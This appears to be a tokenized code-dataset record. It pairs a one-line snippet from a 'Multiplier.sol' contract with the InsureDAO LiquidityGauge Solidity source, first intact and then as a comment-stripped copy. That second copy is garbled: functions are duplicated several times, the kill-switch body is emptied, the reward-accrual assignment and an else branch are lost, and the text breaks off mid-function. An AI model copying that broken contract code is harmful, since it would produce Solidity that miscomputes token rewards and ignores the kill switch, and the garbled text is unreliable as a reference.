[ 1, 3639, 943, 3342, 6275, 273, 23841, 31463, 380, 404, 73, 2643, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x8b7810D04a7C03473a0059fE6D35F9C6B6188798/sources/Multiplier.sol
3 for advertizing, 1 for techsupport
uint constant public PROMO_PERCENT = 4;
3,991,085
[ 1, 23, 364, 16738, 6894, 16, 404, 364, 13878, 13261, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5381, 1071, 453, 3942, 51, 67, 3194, 19666, 273, 1059, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.8.10; /*** *@title Liquidity Gauge *@author InsureDAO * SPDX-License-Identifier: MIT *@notice Used for measuring liquidity and insurance */ //dao-contracts import "./interfaces/dao/IGaugeController.sol"; import "./interfaces/dao/IInsureToken.sol"; import "./interfaces/dao/IMinter.sol"; import "./interfaces/dao/IVotingEscrow.sol"; import "./interfaces/pool/IOwnership.sol"; //libraries import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract LiquidityGauge is ReentrancyGuard { event Deposit(address indexed provider, uint256 value); event Withdraw(address indexed provider, uint256 value); event UpdateLiquidityLimit( address user, uint256 original_balance, uint256 original_supply, uint256 working_balance, uint256 working_supply, uint256 voting_balance, uint256 voting_total ); uint256 constant TOKENLESS_PRODUCTION = 40; uint256 constant BOOST_WARMUP = 86400 * 14; uint256 constant WEEK = 604800; //Contracts IMinter public minter; IInsureToken public insure_token; IERC20 public template; IGaugeController public controller; IVotingEscrow public voting_escrow; mapping(address => uint256) public balanceOf; uint256 public totalSupply; uint256 public future_epoch_time; // caller -> recipient -> can deposit? mapping(address => mapping(address => bool)) public approved_to_deposit; mapping(address => uint256) public working_balances; uint256 public working_supply; // The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint // All values are kept in units of being multiplied by 1e18 uint256 public period; //modified from "int256 public period" since it never be minus. uint256[100000000000000000000000000000] public period_timestamp; // 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint uint256[100000000000000000000000000000] public integrate_inv_supply; // bump epoch when rate() changes. Iis(t)=int(r'(t)/S(t))dt (from CurveDAO whitepaper) // 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint mapping(address => uint256) public integrate_inv_supply_of; mapping(address => uint256) public integrate_checkpoint_of; // ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint // Units rate * t = already number of coins per address to issue mapping(address => uint256) public integrate_fraction; //Mintable Token amount (include minted amount) uint256 public inflation_rate; bool public is_killed; IOwnership public immutable ownership; modifier onlyOwner() { require( ownership.owner() == msg.sender, "Caller is not allowed to operate" ); _; } /*** *@notice Contract constructor *@param _lp_addr Liquidity Pool contract address *@param _minter Minter contract address *@param _admin Admin who can kill the gauge */ constructor( address _lp_addr, address _minter, address _ownership ) { require(_lp_addr != address(0)); require(_minter != address(0)); template = IERC20(_lp_addr); minter = IMinter(_minter); address _insure_addr = minter.insure_token(); insure_token = IInsureToken(_insure_addr); controller = IGaugeController(minter.gauge_controller()); voting_escrow = IVotingEscrow(controller.get_voting_escrow()); period_timestamp[0] = block.timestamp; inflation_rate = insure_token.rate(); future_epoch_time = insure_token.future_epoch_time_write(); ownership = IOwnership(_ownership); } /*** *@notice Calculate limits which depend on the amount of INSURE Token per-user. * Effectively it calculates working balances to apply amplification * of INSURE production by INSURE *@param _addr User address *@param _l User's amount of liquidity (LP tokens) *@param _L Total amount of liquidity (LP tokens) */ function _update_liquidity_limit( address _addr, uint256 _l, uint256 _L ) internal { // To be called after totalSupply is updated uint256 _voting_balance = voting_escrow.balanceOf( _addr, block.timestamp ); uint256 _voting_total = voting_escrow.totalSupply(block.timestamp); uint256 _lim = (_l * TOKENLESS_PRODUCTION) / 100; if ( (_voting_total > 0) && (block.timestamp > period_timestamp[0] + BOOST_WARMUP) ) { _lim += (_L * _voting_balance * (100 - TOKENLESS_PRODUCTION)) / _voting_total / 100; } _lim = min(_l, _lim); uint256 _old_bal = working_balances[_addr]; working_balances[_addr] = _lim; uint256 _working_supply = working_supply + _lim - _old_bal; working_supply = _working_supply; emit UpdateLiquidityLimit( _addr, _l, _L, _lim, _working_supply, _voting_balance, _voting_total ); } //to avoid "stack too deep" struct CheckPointParameters { uint256 period; uint256 period_time; uint256 integrate_inv_supply; uint256 rate; uint256 new_rate; uint256 prev_future_epoch; uint256 working_balance; uint256 working_supply; } /*** *@notice Checkpoint for a user *@param _addr User address * *This function does, *1. Calculate Iis for All: Calc and add Iis for every week. Iis only increses over time. *2. Calculate Iu for _addr: Calc by (defferece between Iis(last time) and Iis(this time))* LP deposit amount of _addr(include INSURE locking boost) * * working_supply & working_balance = total_supply & total_balance with INSURE locking boost。 * Check whitepaper about Iis and Iu. */ function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { //update future_epoch_time & inflation_rate future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { _st.rate = 0; // Stop distributing inflation as soon as killed } // Update integral of 1/supply if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { // If we went across one or multiple epochs, apply the rate // of the first epoch until it ends, and then the rate of // the last epoch. // If more than one epoch is crossed - the gauge gets less, // but that'd meen it wasn't called for more than 1 year _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; } else { _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } // On precisions of the calculation // rate ~= 10e18 // last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) // _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) // The largest loss is at dt = 1 // Loss is 1e-9 - acceptable } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; // Update user-specific integrals // Calc the ΔIu of _addr and add it to Iu. integrate_fraction[_addr] += (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } /*** *@notice Record a checkpoint for `_addr` *@param _addr User address *@return bool success */ function user_checkpoint(address _addr) external returns(bool) { require( (msg.sender == _addr) || (msg.sender == address(minter)), "dev: unauthorized" ); _checkpoint(_addr); _update_liquidity_limit(_addr, balanceOf[_addr], totalSupply); return true; } /*** *@notice Get the number of claimable tokens per user *@dev This function should be manually changed to "view" in the ABI *@return uint256 number of claimable tokens per user */ function claimable_tokens(address _addr) external returns(uint256) { _checkpoint(_addr); return (integrate_fraction[_addr] - minter.minted(_addr, address(this))); } /*** *@notice Kick `_addr` for abusing their boost *@dev Only if either they had another voting event, or their voting escrow lock expired *@param _addr Address to kick */ function kick(address _addr) external { uint256 _t_last = integrate_checkpoint_of[_addr]; uint256 _t_ve = voting_escrow.user_point_history__ts( _addr, voting_escrow.get_user_point_epoch(_addr) ); uint256 _balance = balanceOf[_addr]; require( voting_escrow.balanceOf(_addr, block.timestamp) == 0 || _t_ve > _t_last, "dev: kick not allowed" ); require( working_balances[_addr] > (_balance * TOKENLESS_PRODUCTION) / 100, "dev: kick not needed" ); _checkpoint(_addr); _update_liquidity_limit(_addr, balanceOf[_addr], totalSupply); } /*** *@notice Set whether `_addr` can deposit tokens for `msg.sender` *@param _addr Address to set approval on *@param can_deposit bool - can this account deposit for `msg.sender`? */ function set_approve_deposit(address _addr, bool can_deposit) external { approved_to_deposit[_addr][msg.sender] = can_deposit; } /*** *@notice Deposit `_value` LP tokens *@param _value Number of tokens to deposit *@param _addr Address to deposit for */ function deposit(uint256 _value, address _addr) external nonReentrant { if (_addr != msg.sender) { require(approved_to_deposit[msg.sender][_addr], "Not approved"); } _checkpoint(_addr); if (_value != 0) { uint256 _balance = balanceOf[_addr] + _value; uint256 _supply = totalSupply + _value; balanceOf[_addr] = _balance; totalSupply = _supply; _update_liquidity_limit(_addr, _balance, _supply); require(template.transferFrom(msg.sender, address(this), _value)); } emit Deposit(_addr, _value); } /*** *@notice Withdraw `_value` LP tokens *@param _value Number of tokens to withdraw */ function withdraw(uint256 _value) external nonReentrant { _checkpoint(msg.sender); uint256 _balance = balanceOf[msg.sender] - _value; uint256 _supply = totalSupply - _value; balanceOf[msg.sender] = _balance; totalSupply = _supply; _update_liquidity_limit(msg.sender, _balance, _supply); require(template.transfer(msg.sender, _value)); emit Withdraw(msg.sender, _value); } function integrate_checkpoint() external view returns(uint256) { return period_timestamp[period]; } function kill_me() external onlyOwner { is_killed = !is_killed; } function min(uint256 a, uint256 b) internal pure returns(uint256) { return a < b ? a : b; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IGaugeController { function gauge_types(address _addr)external view returns(uint256); function get_voting_escrow()external view returns(address); function checkpoint_gauge(address addr)external; function gauge_relative_weight(address addr, uint256 time)external view returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IInsureToken { function mint(address _to, uint256 _value)external returns(bool); function emergency_mint(uint256 _amountOut, address _to)external; function approve(address _spender, uint256 _value)external; function rate()external view returns(uint256); function future_epoch_time_write() external returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./IGaugeController.sol"; interface IMinter { function insure_token()external view returns(address); function controller()external view returns(address); function minted(address user, address gauge) external view returns(uint256); function gauge_controller()external view returns(address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IVotingEscrow { function get_last_user_slope(address _addr) external view returns (uint256); function locked__end(address _addr) external view returns (uint256); function balanceOf(address _addr, uint256 _t) external view returns (uint256); //function balanceOf(address addr)external view returns (uint256); function totalSupply(uint256 _t) external view returns (uint256); function get_user_point_epoch(address _user) external view returns (uint256); function user_point_history__ts(address _addr, uint256 _idx) external view returns (uint256); } pragma solidity 0.8.10; //SPDX-License-Identifier: MIT interface IOwnership { function owner() external view returns (address); function futureOwner() external view returns (address); function commitTransferOwnership(address newOwner) external; function acceptTransferOwnership() external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
Contracts caller -> recipient -> can deposit? The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint All values are kept in units of being multiplied by 1e18 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint Units rate * t = already number of coins per address to issue
contract LiquidityGauge is ReentrancyGuard { event Deposit(address indexed provider, uint256 value); event Withdraw(address indexed provider, uint256 value); event UpdateLiquidityLimit( address user, uint256 original_balance, uint256 original_supply, uint256 working_balance, uint256 working_supply, uint256 voting_balance, uint256 voting_total ); uint256 constant TOKENLESS_PRODUCTION = 40; uint256 constant BOOST_WARMUP = 86400 * 14; uint256 constant WEEK = 604800; IMinter public minter; IInsureToken public insure_token; IERC20 public template; IGaugeController public controller; IVotingEscrow public voting_escrow; mapping(address => uint256) public balanceOf; uint256 public totalSupply; uint256 public future_epoch_time; mapping(address => mapping(address => bool)) public approved_to_deposit; mapping(address => uint256) public working_balances; uint256 public working_supply; uint256[100000000000000000000000000000] public period_timestamp; mapping(address => uint256) public integrate_inv_supply_of; mapping(address => uint256) public integrate_checkpoint_of; uint256 public inflation_rate; bool public is_killed; IOwnership public immutable ownership; import "./interfaces/dao/IGaugeController.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; modifier onlyOwner() { require( ownership.owner() == msg.sender, "Caller is not allowed to operate" ); _; } address _lp_addr, address _minter, address _ownership constructor( ) { require(_lp_addr != address(0)); require(_minter != address(0)); template = IERC20(_lp_addr); minter = IMinter(_minter); address _insure_addr = minter.insure_token(); insure_token = IInsureToken(_insure_addr); controller = IGaugeController(minter.gauge_controller()); voting_escrow = IVotingEscrow(controller.get_voting_escrow()); period_timestamp[0] = block.timestamp; inflation_rate = insure_token.rate(); future_epoch_time = insure_token.future_epoch_time_write(); ownership = IOwnership(_ownership); } function _update_liquidity_limit( address _addr, uint256 _l, uint256 _L ) internal { uint256 _voting_balance = voting_escrow.balanceOf( _addr, block.timestamp ); uint256 _voting_total = voting_escrow.totalSupply(block.timestamp); uint256 _lim = (_l * TOKENLESS_PRODUCTION) / 100; if ( (_voting_total > 0) && (block.timestamp > period_timestamp[0] + BOOST_WARMUP) ) { _lim += (_L * _voting_balance * (100 - TOKENLESS_PRODUCTION)) / _voting_total / 100; } _lim = min(_l, _lim); uint256 _old_bal = working_balances[_addr]; working_balances[_addr] = _lim; uint256 _working_supply = working_supply + _lim - _old_bal; working_supply = _working_supply; emit UpdateLiquidityLimit( _addr, _l, _L, _lim, _working_supply, _voting_balance, _voting_total ); } function _update_liquidity_limit( address _addr, uint256 _l, uint256 _L ) internal { uint256 _voting_balance = voting_escrow.balanceOf( _addr, block.timestamp ); uint256 _voting_total = voting_escrow.totalSupply(block.timestamp); uint256 _lim = (_l * TOKENLESS_PRODUCTION) / 100; if ( (_voting_total > 0) && (block.timestamp > period_timestamp[0] + BOOST_WARMUP) ) { _lim += (_L * _voting_balance * (100 - TOKENLESS_PRODUCTION)) / _voting_total / 100; } _lim = min(_l, _lim); uint256 _old_bal = working_balances[_addr]; working_balances[_addr] = _lim; uint256 _working_supply = working_supply + _lim - _old_bal; working_supply = _working_supply; emit UpdateLiquidityLimit( _addr, _l, _L, _lim, _working_supply, _voting_balance, _voting_total ); } struct CheckPointParameters { uint256 period; uint256 period_time; uint256 integrate_inv_supply; uint256 rate; uint256 new_rate; uint256 prev_future_epoch; uint256 working_balance; uint256 working_supply; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= 